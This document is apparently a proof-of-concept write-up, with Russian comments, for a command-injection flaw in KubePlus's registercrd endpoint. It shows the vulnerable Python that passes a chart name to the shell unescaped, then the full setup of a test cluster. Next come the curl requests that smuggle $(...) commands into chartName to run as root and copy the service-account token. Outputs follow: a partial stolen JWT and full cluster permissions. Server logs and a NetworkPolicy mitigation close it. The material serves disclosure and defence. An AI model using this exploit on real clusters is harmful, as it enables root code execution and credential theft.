def run_command(cmd):
    print(cmd)
    cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
    out = cmdOut[0].decode('utf-8')
    err = cmdOut[1].decode('utf-8')
    return out, err

wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)

cmd = "rm -rf /" + chartName
out, err = run_command(cmd)

# Создание конфигурации Kind-кластера
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
  - role: control-plane
EOF

# Создание кластера
kind create cluster --config kind-config.yaml

# Проверка кластера
kubectl cluster-info
kubectl get nodes

Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

NAME                          STATUS   ROLES           AGE   VERSION
kubeplus-test-control-plane   Ready    control-plane   1m    v1.27.3

# Создание рабочей директории
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc

# Загрузка плагинов KubePlus
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz

# Загрузка скрипта provider-kubeconfig
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py

# Настройка Python-окружения
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes

# Получение адреса API-сервера
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')

# Создание provider kubeconfig
python3 provider-kubeconfig.py -s $apiserver create default

Provider kubeconfig created: kubeplus-saas-provider.json

# Загрузка Helm-чарта KubePlus
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz

# Установка KubePlus
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default

# Ожидание готовности подов
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s

# Проверка установки
kubectl get pods -n default -l app=kubeplus

NAME                                   READY   STATUS    RESTARTS   AGE
kubeplus-deployment-57dbf6f8b9-xxxxx   5/5     Running   0          2m

# Получение имени пода
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')

# Настройка проброса портов
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &

# Проверка доступности сервиса
curl -s http://localhost:5005/hello

hello world

curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'

kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt

uid=0(root) gid=0(root) groups=0(root)

curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'

kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt

eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...

STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"

Resources                                       Non-Resource URLs   Resource Names   Verbs
*.*                                             []                  []               [*]
                                                [*]                 []               [*]
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]

[01/Feb/2026 13:49:32] Inside registercrd
kind:Test
version:v1
group:test.io
plural:tests
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(id>/tmp/pwned2.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(id>/tmp/pwned2.txt)

[01/Feb/2026 13:49:56] Inside registercrd
kind:Test2
version:v1
group:test2.io
plural:test2s
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)

# Пример NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-kubeconfighelper
  namespace: default
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          trusted: "true"
    ports:
    - protocol: TCP
      port: 5005